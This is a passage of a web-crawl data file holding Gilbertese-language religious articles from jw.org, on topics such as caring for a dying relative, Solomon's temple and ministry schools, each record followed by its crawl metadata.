The Golden Age Arthur Willis n oin ana taeka imwina riki ni kangai: \"A aki bwerengaki n te kawai ae rangi n aobuaka ke ae rangi n abwabwaki Ana tia kakoaua.\"\nE kabwarabwaraa Charles Harris ae bwaiania i nanon te tai ae maan bwa e a kaaniaki riki ma Iehova imwin ana mwakuri n tii ngaia ao korakaina n aono ake a rangi n raroa ma kaawa. E reitia ni kangai: \"E rangi n raoiroi riki te maiu ma am bwai aika karako. Ngkana ngaia bwa e kukurei Iesu ni matu i ao i aan itoi n taai aika riai, ti riai ni kukurei ni karaoa naba anne ngkana ti nora riaina ni mwiokoara.\" Ao bon anne ae a karaoia bwaiania aika bati. A rarabwa n teimatoan aia mwakuri korakora bwa e a butanako te rongorongo ae raoiroi n te aba aei ao a a buokaki iai aomata bwa a na tei n nene ibukin Ana Tautaeka n Uea te Atua.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-reirei-n-te-taua-n-tantani-beberuare-2017\/a-aki-bwerengaki-n-te-kawai-ae-rangi-n-aobuaka-ke-ae-rangi-n-abwabwaki-ake-a-raroanako-ma-kaawa-i-Aotiteria\/","date":"2018-03-18T18:29:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645830.10\/warc\/CC-MAIN-20180318165408-20180318185408-00616.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1056,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E KUBANROU Nei Doreen ngke e a kuneaki aorakini buuna ae Wesley ae ai tibwa 54 ana ririki, bwa ngaia e a korakora te kaentia ni kaburorona. * A tuanga teuaei taokita ae ai tii tabeua riki ana namwakaina ni maiu. E ururing rikaaki neiei ni kangai: \"I aki kakoauaa te baere I ongo, ao a mate bwain rabwatau i nanoni wiki tabeua. I iangoia bwa e riki aei nakon temanna riki ao tiaki ngaira. I bon tuai n tauraoi.\"\nE kananokawaki bwa aron Doreen aei bon te bwai ae riiriki nakoia aomata. E kona n ituaki te aomata n te aoraki ae kakaiaki n te tai teuana ma teuana. A bati aika kamoamoaaki ake a kukurei n tararuaia raoia aika tangiraki irouia, ake a rangi ni mamaara. Ma tararuaakin te aoraki bon te mwakuri ae aki bebete. Tera ae a kona ni karaoia kaain te utu ni kabebetea ao n tararuaa te aomata ae tangiraki irouia are e a rangi ni mamaara? E na kangaa te tia tararuaa te aoraki ni kaaitarai aeka n namakin ake e bae n rinanona i nanon te tai n aoraki? Tera ae e kona ni kantaningaaki ngkana e nangi mate te aomata are tararuaaki? Ma ti na rinanona moa bwa bukin tera ngkai tararuaan te aomata ae e a rangi ni mamaara, bon te kangaanga ae okoro ni boong aikai.\nTE KANGAANGA NI BOONG AIKAI\nE a tia te mwakuri ni kuakua ni boong aikai ni bita tein te bwai ae te mate. Teuana te tienture n nako ke e raka riki ao e uarereke riki abwakini maiuia aomata, ao e riki naba anne n aaba aika kaubwai. A waekoa ni mate aomata man aoraki aika ewewe ke kabuanibwai aika karina. A karako mwaitin onnaoraki, ao angia aomata a bon tararuaaki irouia aia utu ao a mate naba ni mwengaia.\nNi boong aikai ao rikiraken nakoraoini bwainnaoraki, a a kona iai taokita ni kakorakoraia ni buakani aoraki bwa e aonga n teimaan riki te maiu. Aoraki ake a kai toki ngkoa iai maiuia aomata e a kona riki ngkai n ananau te maiu iai i nanon ririki aika bati. Ma e aki nanonaki n abwabwakin riki te maiu bwa e a kuneaki raoi te marurung ni koaua. N angiin te tai ao iai ake a rangi ni kakaiaki aorakia, n te aro are a aikoa kona n tararuaiia i bon irouia. Tararuaan temanna ae aoraki, e a rangi ni kangaanga riki ao ni kainnanoa te kakorakora ae bati.\nIbukin anne, e a ririkirake riki mwaitin te mate n te onnaoraki nakon te mate n te mwenga. Angia aomata ni boong aikai a tuai n taneiai ma aron tararuaan te aoraki ae e a rangi ni kakaiaki, ao iai tabeman ake a bon tuai n nora raoi te aomata ae e nangi mate. Ao ibukini maakakin te bwai ae aki ataaki aei, e a kona n tuka ke ni kamamaraa ana kakorakora te aomata n tararuaa kaain ana utu are aoraki. Tera ae e kona n ibuobuoki?\nMOANTAAI NI BABAIRE\nN aron are taekinaki ibukin Doreen, a bati aomata aika uruaki nanoia ngkana e a reke n te aoraki ae kamamate te aomata ae tangiraki irouia. Irarikin te raraoma ae korakora, te maaku, ao te nanokawaki, tera te bwai ae kona ni buokiko bwa ko na tauraoi ni waakinako? E tataro ni kangai ana toro te Atua ae kakaonimaki: \"Reireinira aroni warekan ara bong, bwa ti aonga ni karekea te nano ae wanawana.\" (Taian Areru 90:12) Eng, kakorakorako n tataro nakon Iehova ae te Atua bwa e aonga ni kaota nakoim arom ni 'wareka am bong' ma te wanawana, bwa ko aonga ni kamanenai raoi nikirani boong ma te aomata ae tangiraki iroum, n aron ae ko konaa.\nE kainnanoaki te babaire ae nakoraoi. Ngkana e teimatoa ni kona n taetae te aomata ae tangiraki iroum ao e kani karaoa ana babaire, tao e raoiroi riki ngkana ko titirakinna bwa antai ae riai ni karaoi motinnano ibukina ngkana e a aki kona ni karaoia. Te maroro n akea te imamaakin ni kaineti ma karaoani mwakuri ni kakamaiu tabeua ngkana e a toki mwakurini buroona, karinana n te onnaoraki, ke anganakina bwainnaoraki tabeua, e kona ni kauarerekea te aki ota raoi ao namakinan te uringaaba, irouia kaain te utu ake a kairoroaki bwa a na karaoi motinnano ibukia aoraki ake a rangi ni mamaara. Te moantaai ni maroro ao akean te imamaakin, e na buoka te utu ni kaatuua iangoan te tararua n tain te aoraki. E kangai te Baibara: \"A matebuaka babaire ngkana akea te mamaroro.\"—Taeka N Rabakau 15:22.\nARON TE IBUOBUOKI\nTaben te tia tararuaa te aoraki ae kakawaki boni kakabebetean nanon te aomata ae aoraki. E riai ni karauaki nanon te aomata ae e a mamaara, n tuangaki ae e tangiraki ao e aki tiku n tii ngaia. E na kangaa ni karaoaki aei? Wareware ke anene nakon te aoraki ma rinei booki ao anene aika kaunganano ao aika e na kukurei iai. A bati aomata aika kabebeteaki ngkana a tauaki baia irouni kaain aia utu temanna ao n aamarau n taetae nakoia.\nE ibuobuoki n taai nako kabwarabwaraaia naake a roko ni kawara te aoraki. E kangai te ribooti teuana: \"E taekinaki bwa te kakauongo bon te kabanea ni bwai ni bua mai buakon namakin ake nimaua. E kona n teimatoa n rangi n raoiroi te kakauongo, e ngae ngkana e taraa ni matu te [aoraki], ngaia are tai taekina te bwai teuana i rarikina, ae te bwai ae ko aki kona n taekinna nakoina ngkana e uti.\"\nNgkana e angaraoi ao uaia n tataro. E karakinaki n te Baibara bwa n te tai teuana, ao te abotoro Bauro ma raona a rinanon naba te rawawata ae korakora, ike a aikoa koaua bwa e na reke maiuia ke e na aki. Tera te ibuobuoki are a ukeria? E bubutiia raoraona Bauro ni kangai: \"Kam kona naba ni buokira n ami kakorakora n tataro ni bubutii ibukira.\" (2 I-Korinto 1:8-11) E rangi ni kakawaki te tataro ae ringa te nano n te tai are e a korakora iai te rawawata ao ngkana iai te aoraki ae kakaiaki.\nKANTANINGAA TE BWAI AE E NA RIKI\nAtaakin ae e nangi mate te aomata ae tangiraki iroum e boni karawawata. Maroaka ae te mate bon te bwai ae kakubanako. Ti aki karaoaki bwa ti na butimwaea te mate bwa te bwai ae e na bon riki nakoni maiura. (I-Rom 5:12) Mangaia are e taekinaki te mate n Ana Taeka te Atua bwa bon te \"tia kairiribai.\" (1 I-Korinto 15:26) Ngaia are rawam n iangoa taekani maten te aomata ae tangiraki iroum, e bon ota te aba iai ao bon te bwai naba ae riiriki.\nMa kaman ataakin te bwai ae e na riki, e kona ni buokiia kaain te utu ni kabebetea maakuia ao ni kaatuui karaoani bwaai, n aki takaka ao n aron ae a konaa. Tabeua bwaai aika kona n riki, a karinanaki n te bwaoki ae, \"Kaanin Tokini Maiun te Aoraki.\" Ni koauana, a aki bane n riki baikai nakoia aoraki n tatabemania nako, ao a aki naba riai n riki n aroni karinanakia aei. Ma a a tia angiina aoraki n rinanon tabeua mani bitaki aikai.\nImwini maten te aomata ae tangiraki iroum, e raoiroi riki ngkana ko reitaki ma raoraom ni kaan are e a tia ni kariaia bwa e na ibuobuoki. Tao a riai ni karauaki nanoia taan tararuaa te aoraki ao te utu, n taekan ae e a toki kataakin te aomata are tangiraki irouia ao e a aki naba maraki. E karaui nanora te tia Karikiia aomata bwa \"a bon aki ataa te bwai teuana akana mate.\"—Te Minita 9:5.\nTE TIA TARARUA AE AKEA N AI ARONA\nE kakawaki onimakinan te Atua, tiaki tii n te tai are e a rangi ni mamaara iai kaain te utu temanna, ma n tain naba te rawawata ae riki n te mate. E kona ni buokiko rinanon taeka n ibuobuoki ao rinanon aia mwakuri tabeman riki. E taku Doreen: \"I a ataia ae I aki riai ni katinanikui aia ibuobuoki aomata nako. Ti boni kabebeteaki n te ibuobuoki ae bati are ti karekea. I kakoauaa raoi ma buu bwa e boni kangai Iehova: 'I mena i rarikim bwa N na buokiko n tokanikai n aei.' N na bon aki kona ni mwaninga anne.\"\nEng, Iehova ae te Atua bon te tia Tararua ae akea n ai arona. Ngkai ngaia te tia Karaoira, e atai marakira ao rawawatara. E konaa ao e ingainga ni katauraoa te ibuobuoki ao te kaungaunga bwa ti aonga n tokanikai. Ma te bwai ae tamaroa riki, e beritanna bwa e nang waekoa ni katoka te mate, ao e na kautiia birion ma birion aomata ake a mena n ana ururing. (Ioane 5:28, 29; Te Kaotioti 21:3, 4) A kona ngkanne ni manga taekina ana taeka te abotoro Bauro ae kangai: \"Te mate, e nga am tokanikai? Te mate, e nga am kainnewa?\"—1 I-Korinto 15:55.\n^ bar. 2 A a tia ni bitaki aara.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na4-2017-turai\/e-a-rangi-ni-mamaara-ae-tangiraki-iroum\/","date":"2018-03-18T18:22:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645830.10\/warc\/CC-MAIN-20180318165408-20180318185408-00632.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1490,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) Aokati 2017\nIai n te maekatin aei te kaongora ibukin te reirei ibukin Tebetembwa 25 nakon Okitobwa 22, 2017.\nA titiraki ana toro Iehova aika kakaonimaki rimoa bwa e na maanra aia tai n rinanoni kataaki, ma e aki kabuakakaia te Atua n aia titiraki.\nKo a tia n iaiangoia bwa e aera te Atua ngkai e aki tuki rikini kataaki aika aki kantaningaaki i nanoni maium? Ngkana e riki anne, tera ae kona ni buokiko n nanomwaaka ao n onimakina raoi Iehova?\nRONGORONGONI MAIUNA\nA aera bwa a titiraki naake a kanakoaki nako Siberia ibukin te kao ngke a boni kakaaeia raoi tiibu? E kona n reke te kaeka n rongorongoni maiuia Pavel ao Maria Sivulsky ae kakaongora.\nBon te bwai teuana buutan te aroaro nikawai, ao te bwai teuana aki manga karinana. Ti na kangaa n tokanikai ni karaoi ni kauoua, e ngae ngkana ti a tia n rangi n reketaati ni karaoani mwakuri aika bure?\nMan ana ibuobuoki Iehova, ko kona n tokanikai n riki bwa te aeka n aomata ae e tangiria. N te katoto, iangoi aanga aika manena ake ko kona ni kaotiota iai te nanoanga, te akoi, te nanorinano, ao te nimamannei.\nE kamatataaki n te Baibara bwa e reke te tangira mani mwamwakurin te taamnei ae raoiroi mairoun Iehova. Ma tera raoi te tangira? Ko na kangaa ni karikirakea? Ao ko na kangaa ni kaotiotia ni katoabong?\nRONGORONGORA RIMOA\nTera ae e rianako iai te bwabwaro ae uarereke aei i Mexico City?\nE aera ngkai e kaokoro ana rongorongo Mataio ibukini maiun Iesu ngke e uarereke ao kateirikiana ma ana rongorongo Ruka?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-aokati-2017\/","date":"2018-03-19T06:09:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257646375.29\/warc\/CC-MAIN-20180319042634-20180319062634-00777.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":271,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tera aroni kabonganaakin atibu n ii baraua n taai ake rimoa?\nA kabonganaaki atibu n ii baraua ibukini kamantan te uita bwa e aonga n reke te burawa ibukini karaoan te kariki. E aki toki naba ni kamanenaaki irouia aine ke tooro n angiin auti nako. E irekereke tangitangin te atibu n ii baraua ma maiuia ni katoabong n taai ake rimoa.—Te Otinako 11:5; Ieremia 25:10.\nE kaotaki n taiani korobanna mai Aikubita rimoa bwa e teimatoa te waaki anne. E katukaki te uita i aon te atibu ae borababaua ao i aona bon te atibu ae bangaki, e aranaki n tabetai bwa te atibu ni kamantinti. E na tokaria te tia ii baraua ma n taua kain tauana ake uoua aika uarereke ao ni mwaing nako moa ao buuki n te aro are e na kona ni kamanta te uita. E taekinna te tia kororongorongo temanna bwa rawawatan te atibu ni kamantinti e nakon 2 ke 4 te kiro. E kona ni mate temanna iai ngkana e kabonganaaki ibukin te bwai ni buaka.—Taani Motiki-Taeka 9:50-54.\nE rangi ni kakawaki te atibu n ii baraua nakon te utu ibukini maiuia, anne bukina ae e aki kariaiakaki n te Baibara anaakina bwa kaanga te bwai ni kakoaua nakoina. E taekinaki ae kangai n Te Tua-Kaua 24:6, (BG): \"E na aki anga te bwai n ii baraua te aomata temanna ke te atibu n ii baraua are mai eta ba kakoauani kaokan te bwai ae tangoaki: ba e anaa roon te aomata iai ba te bwai ni kakoaua.\"\nTera ae nanonaki n te taeka ae \"e mena i bwanibwanin\"?\nE taekinaki Iesu n te Baibara bwa \"e mena i bwanibwanin te Tama.\" (Ioane 1:18) E kaineti te taeka anne nakon te reitaki ae rangi ni kaan ao te akoaki are e karekea Iesu mairoun te Atua. A kaineti taeka akanne ma te katei are a kakaraoia I-Iutaia ngkana a amwarake.\nN ana bong Iesu ao a tekateka n rarikiriki n amwarake I-Iutaia n te taibora. E kaitaraa te taibora atuia ao waeia i tinaniku ike a na kateibai ni maingia i aoni kaanga te uninga. Aroia anne are a aikoa taona iai angaataia. Kioina ngkai a bane taan amwarake akanne n rarikiriki i aoni maingia, e kabwarabwaraa temanna te tia korea te boki bwa \"atun temanna e uakaan ma bwabwaan teuare e rarikiriki irarikina, ma e a manga taekinna bwa 'e aonga ni mena i bwanibwanin' are temanna.\"\nE iangoaki temanna are e mena i bwanibwanin atun te utu ke e boutokaa te botaki bwa e rine ke e kakabwaiaaki. Ngaia are n te kabanea n Toa ae te Riao, 'te tia rimwin Iesu are e tatangiria' bon te abotoro Ioane are e mena i bwanibwanna. Mangaia are e kona Ioane n \"rara nakoni bwabwaan Iesu\" n titirakinna.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150701\/ko-ataia\/","date":"2018-03-19T04:12:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257646213.26\/warc\/CC-MAIN-20180319023123-20180319043123-00546.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":459,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI\nTitiraki: A iangoia aomata tabeman bwa e a bane tain te Baibara, ao tabeman a kakoauaa bwa e boni kakawaki. Tera am iango iai?\nKibu: 2Ti 3:16, 17\nAnganako: E kamatataaki n Te Taua-n-Tantani aei katoto man te Baibara ibukin te wanawana ae manena, ao aanga tabeua ae e na manena riki iai am wareware n te Baibara.\nREIREINIA AOMATA TE KOAUA\nWAS LIFE CREATED?\nTitiraki: Ko iangoia bwa e riai riki kakoauaan ae bon te Atua ae karika te maiu ke e riki te maiu i bon irouna?\nAnganako: E maroroakinaki n te boroutia aei te bwai ni kakoaua ae kairiia aomata aika bati bwa a na kakoauaa te tia Karikiriki ae wanawana. I kani manga okiriko ao ni maroroakina te titiraki n iteraniba 29: \"E kakawaki am koaua iai?\"\nKARAOA OIN AM MARORO\nKabonganai katoto akana a tia ni kaotaki ni karaoa iai oin am maroro n te mwakuri ni minita.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tianuare-2017-mwb\/minita-maroro\/","date":"2018-03-21T12:08:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647612.53\/warc\/CC-MAIN-20180321102234-20180321122234-00471.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":152,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngke e a riki Toromon bwa te uea i Iteraera, e a titirakinna Iehova ni kangai: 'Tera ae ko tangiria bwa N na anganiko?' E taku Toromon: 'I uarereke, ao I aki ataa te bwai ae N na karaoia. Taiaoka ma anganai te wanawana ibukin tararuaaia am aomata.' E taku Iehova: 'Ibukina bwa ko bubutii te wanawana, N na karikiko bwa te aomata ae te kabanea ni wanawana n te aonnaba. N na anganiko naba te kaubwai ae rangi ni bati. Ao ngkana ko ongeaba irou, e na bon abwabwaki maium.'\nE a moana katean te tembora Toromon. E kamanenai koora aika taiani kabanea n tamaroa, tirewa, kaai ao atibu. A karaoa te mwakuri n te tembora nga ma nga mwaane ma aine aika mwaatai. Imwin itiua te ririki, e a tauraoi te tembora ni katabuaki nakon Iehova. Iai te baonikarea, ao taiani karea i aona. E katorobubua Toromon i matan te baonikarea ao e tataro ni kangai: 'Iehova, e aki tau buburan te tembora aei ke n tau tamaroana ibukim, ma taiaoka butimwaea ara taromauri ao ongoraei ara tataro.' Tera ana iango Iehova ibukin te tembora ao ana tataro Toromon? Ngke e moti ana tataro Toromon, ao e a bwaka naba te ai mai karawa ni kabueki karea ake i aon te baonikarea. E kukurei Iehova n te tembora. Ngke a nora aei tibun Iteraera, a a kimwareirei iai.\nE kinaaki te Uea ae Toromon i aon Iteraera ni kabutaa ibukini wanawanana ao n taabo aika raroanako naba. A roroko aomata iroun Toromon ibukini buokaia n aia kangaanga. E roko naba te ueannaine mai Tieba bwa e na tuoa teuaei n titiraki aika kangaanga. E taku ngke e ongora n ana kaeka teuaei: 'I aki kakoauaa te bwai ae a tuangai aomata ibukim, ma I a ataia ngkai bwa ko wanawana riki nakon are a taekinna. E kakabwaiako Atuam ae Iehova.' E nakoraoi maiun te natannaomata ae Iteraera, ao a kukurei aomata. Ma e ngae n anne, e nang riki te bitaki.\n\"Noria! iai ikai temanna ae kakannato riki nakon Toromon.\"—Mataio 12:42","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/8\/ana-tembora-te-uea-ae-toromon\/","date":"2018-03-24T18:15:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650764.71\/warc\/CC-MAIN-20180324171404-20180324191404-00252.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":342,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Boni kanikinaeaia ae e a rangi ni maan Ana Tia Kakoaua Iehova te kuura n reirei. E katauraoaki te reirei ae okoro aei ibukia te koraki ake a kukurei ni kabwanina aia tai n uarongorongoa te Tautaeka n Uea, bwa a aonga ni 'kakororaoa raoi aia mwakuri ni minita.'\nTe Kuura Ibukin te Mwakuri ni Bwaiania. Ni banen ana moan ririki te regular bwaiania ni kabwanina ana tai ni beku ao e na riai n ira te reirei ae onoua te bong manna ae tao e karaoaki n te Tabo n Taromauri ae uaakan ma ngaia. Te kantaninga iai bwa e na buokaki te bwaiania ni kaaniaki riki ma Iehova, ni mwaatai riki n itera nako n te mwakuri ni minita ao n teimatoa ni kakaonimaki n ana beku.\nTe Kuura n Reirei Ibukia Taan Uarongorongoa te Tautaeka n Uea. E katauraoaki te reirei ae manna uoua namwakaina aei ibukin reiakinaia bwaiania aika mwaatai aika kukurei ni kitan abaia ni beku n te tabo are a kainnanoaki iai. Titeboo iai ma a kangai: \"Aio ngai; kanakoai,\" ni katotonga aron Iesu Kristo ae te tia Tataekina te rongorongo ae raoiroi ae moan te kakannato are e a tia ni beku i aon te aba. (Itaia 6:8, BG; Ioane 7:29) E irekereke kitanan te aba nakon te tabo ae raroa ma karaoani bitaki tabeua ibukini kabebeteani maiuia. E kona n rangi ni kaokoro te katei, bitakini kanoan te bong ao te amwarake are e taneiai iai. E bae naba n reiakina te taetae ae boou. A buokaki n te reirei aei taari mwaane ma aine aika akea buuia ao taanga aika 23 aia ririki nakon 65, bwa a na karikirakei aroaro ni Kristian aika kainnanoaki ibukini mwiokoaia ao mwaataia are a na kona iai n uaana riki aia beku ibukin Iehova ao ana botaki.\nWatchtower Bible School of Gilead. Nanon te taeka ae \"Gilead\" n te taetae n Ebera bon \"Taani Kakoaua Aika Uanao.\" Ni moa man 1943 ni katean te Gilead, ao e raka i aon 8,000 mwatiia aika otinako man te kuura aei ake a a tia ni kanakoaki bwa mitinare aika a na uarongorongo \"nako tabon aonnaba,\" ao e rangi n uaana aia mwakuri. (Mwakuri 13:47) Ni moan rokoia i Peru naake a otinako man te kuura anne, ao e tuai n tei te ekaretia n te aba anne. E a raka ngkai i aon 1,000 mwaitin te ekaretia ikanne. Ngke a beku ara mitinare i Tiaban, ao mwaitiia taani Kakoaua n te aba anne, e kee i aan tengaun. E a raka ngkai i aon 200,000 mwaitin taian ekaretia iai. E irekereke te kuura aei ae manna nimaua namwakaina ma reiakinan raoi Ana Taeka te Atua. A kaoaki nakon te kuura aei te koraki ake a beku bwa special bwaiania ke mitinare, te koraki ake ni mwaangan aobiti n tararua, ke naake a karaoa te mwakuri ni mwamwananga n te aono bwa a na kabanei nanoia ni kataneiaakia bwa a aonga ni buoka kateimatoaan ao kakorakoraan te mwakuri ni katobibia te aonnaba.\nTera bukini katean te Kuura Ibukin te Mwakuri ni Bwaiania?\nE katakuraoaki te Kuura n Reirei Ibukia Taan Uarongorongoa te Tautaeka n Uea ibukia antai?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/nanon-Iehova\/kuura-n-reirei-ibukia-bwaiania\/","date":"2018-03-21T09:07:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647600.49\/warc\/CC-MAIN-20180321082653-20180321102653-00356.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":520,"character_repetition_ratio":0.059,"word_repetition_ratio":0.008,"special_characters_ratio":0.222,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"Au aomata, kam na otinako mai nanona.\"\nANENE: 72, 82\n1. A kabotoa i aon tera aia kantaninga ana aomata te Atua are a na kainaomataaki mairouni Baburon ae Kakannato, ao baikara titiraki aika ti na rinanoi?\nN TE kaongora are imwain aei, ti reiakina iai aroia Kristian ake a kakaonimaki ngke a kataenikaiaki irouni Baburon. Ma te rongorongo ae raoiroi iai bwa a na bon aki riki bwa taenikai n aki toki. E na akea nanon ana tua te Atua are kangai, \"Au aomata, kam na otinako mai nanona,\" ngkana akea ae e kona ni birinako mai aani mwaakan te botaki n Aro ae kewe ae katobibia te aonnaba. (Wareka Te Kaotioti 18:4.) Ti ingainga ni kan ataia bwa n ningai are a kainaomataaki raoi iai ana aomata te Atua mai aani mwaakani Baburon! Ma ti riai moa ni kaekai titiraki aikai: Tera are a motinnanoia Taan Reirei n te Baibara ni kaineti ma Baburon ae Kakannato imwain 1914? Tera aron ingaingaia taari n uarongorongo n te Moani Buaka Are Kabutaa Aonnaba? Iai irekereken riaia ni kaetaki n te tai anne ao anganakia te reirei ni kaetieti ma kataenikaiakia irouni Baburon?\n\"BWAKANI BABURON\"\n2. Tera are a motinnanoia Taan Reirei n te Baibara rimoa ni kaineti ma Aaro aika kewe ngke a ota n aroia?\n2 E ataia Charles Taze Russell ma raona ae a bon aki reireinia aomata ana koaua te Baibara Aaro ake aongkoa Kristian ngaiia, i nanon ririki aika bati imwain te Moani Buaka Are Kabutaa Aonnaba. Ngaia are a aikoa kan irekereke ma Aaro aika kewe ngke a ota n aroia. N te Zion's Watch Tower ae bwain Nobembwa 1879, e taekinaki iai bwa Aaro aika kewe aika taku bwa buuni Kristo ngaiia aika kakaonimaki, a boutokaa te tautaeka ao ibukin anne boni ngaiia kaaini Baburon ae Kakannato are e aranaki n te Baibara bwa te kabekaau.\n3. Tera are a karaoia Taan Reirei n te Baibara are a kaotia iai bwa a ataia ae a riai ni kaokoroia mairouia Aaro aika kewe? (Nora te taamnei ni moan te kaongora aei.)\n3 A ataa te bwai ae a riai ni karaoia mwaane ao aine aika mamaaka te Atua. A aki kona ni kantaningaia bwa e na kakabwaiaia te Atua ngkana a teimatoa ni boutokai botaki n Aro aika kewe. Ngaia are a bati Taan Reirei n te Baibara ake a kanakoi aia reta nakon aia Aro ibukini buutan araia. Tabeman a wareki aia reta i mataia aomata n tain te taromauri. Ma n taabo ake e katabuaki iai te wareware i mataia aomata, tabeman a kanakoi aia reta nakoia kaaina ni kabane. A aki kani manga irekereke naakai ma te Aro ae kewe! N ririki ake mai mwaina, a kona ni mate n te aeka ni mwakuri n ninikoria aei. Ma n aaba aika bati n raabanen 1800 tabun, e a moanna n aki boutokaaki te Aro n te Tautaeka n aron are mai mwaina. Ibukin akeani maakakin katuuaa akanne n aaba aikai, a a inaomata kaaia ni maroroakini kanoan te Baibara ao ni kaotii aki kukureia n taian Aro aikai i mataia aomata.\n4. Tera aia iango ana aomata te Atua ibukini Baburon ae Kakannato n te Moani Buaka Are Kabutaa Aonnaba?\n4 A ataia Taan Reirei n te Baibara bwa e aki tau ibukia tii kaongoaia aia koraki, raoraoia ni kaan, ao kaain Aaro aika kewe, ae a aikoa manga boutokai Aaro aika kewe. A riai n ataia kaain te aonnaba ni kabane bwa tera raoi aroni Baburon ae Kakannato, eng bon te Aro ae kabekaau! Ngaia are i marenan Ritembwa 1917 ao moan 1918, a ingainga nga ma nga Taan Reirei n te Baibara n tibwai nako 10,000,000 katoton turaeki ni kaineti ma te kaongora ae \"Bwakani Baburon,\" ae te rongorongo ae matoatoa nakoia Aaro ake aongkoa Kristian ngaiia. N aron ae ko kona n iangoia, a rangi n un mataniwi n Aaro, ma a teimatoa Taan Reirei n te Baibara aika aki maaku aikai ni waakinaanako te mwakuri ae kakawaki aei. A kamatoai nanoia bwa a na ongeaba riki iroun \"te Atua bwa te tia tautaeka nakon ae [a] na ongeaba irouia aomata.\" (Mwa. 5:29) Tera ae kaotaki nakoira n aei? E kaotaki iai bwa n te Moani Buaka Are Kabutaa Aonnaba a aki kataenikaiaki mwaane ma aine aikai, ma a a kitan Aaro aika kewe ao ni buokiia tabemwaang ni karaoa naba anne.\nTE INGAINGA NI MWAKURI N TE MOANI BUAKA ARE KABUTAA AONNABA\n5. Tera te bwai ni kakoaua ibukini korakoran ingaingaia taari n te Moani Buaka Are Kabutaa Aonnaba?\n5 N ririki aika nako, ti kakoauaa ae e aki kukurei Iehova irouia ana aomata ibukina bwa a aki ingainga n uataboa te mwakuri n uarongorongo n te Moani Buaka Are Kabutaa Aonnaba. Ngaia are ti a iangoia bwa aei bukina are e a kariaia iai Iehova bwa e na kataenikaiia Baburon ae Kakannato i nanon te tai ae kimototo. Ma a kaotia raoi imwina riki taari mwaane ao aine aika kakaonimaki ake a beku ibukin te Atua n 1914-1918, bwa a karaoi bwaai ni kabane ake a konaa ana aomata te Uea ibukini kateimatoaan te mwakuri n uarongorongo. Iai te bwai ni kakoaua ae noraki ibukini boutokaan te kaotioti aei. Ngkana e eti raoi otara ni baika riki nakoia Taan Reirei n te Baibara n te tai anne, ti na buokaki 